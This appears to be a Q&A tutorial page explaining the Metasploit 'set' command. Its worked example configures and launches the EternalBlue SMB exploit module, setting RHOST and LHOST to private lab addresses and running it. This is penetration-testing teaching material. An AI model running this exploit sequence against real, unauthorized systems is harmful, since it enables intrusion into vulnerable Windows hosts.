How do I use 'set' command?

The set command in Metasploit is used to configure options for a specific module you are working with. This command allows you to define parameters such as target IP addresses, ports, payloads, and other settings required for the module to function correctly.

Syntax:

set <option> <value>

Steps to Use the set Command:

  1. Select a Module: Before using the set command, you need to select a module. For example, if you want to use an exploit, you would first use the use command:

    use exploit/windows/smb/ms17_010_eternalblue
  2. View Required Options: After selecting a module, you can view the required options by typing:

    show options
  3. Set Options: Use the set command to configure the necessary options. For example, to set the target IP address:

    set RHOST 192.168.1.10
  4. Verify Configuration: You can verify that your options are set correctly by running:

    show options
  5. Run the Module: Once all required options are set, you can execute the module using:

    run

    or

    exploit

Example:

Here’s a complete example of using the set command:

msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show options

msf exploit(ms17_010_eternalblue) > set RHOST 192.168.1.10
msf exploit(ms17_010_eternalblue) > set LHOST 192.168.1.5
msf exploit(ms17_010_eternalblue) > run

Encouragement for Further Learning:

To practice using the set command and other Metasploit functionalities, consider exploring relevant labs on LabEx that focus on penetration testing techniques. Hands-on experience will solidify your understanding.

If you have any more questions or need further clarification, feel free to ask!

0 Comments

no data
Be the first to share your comment!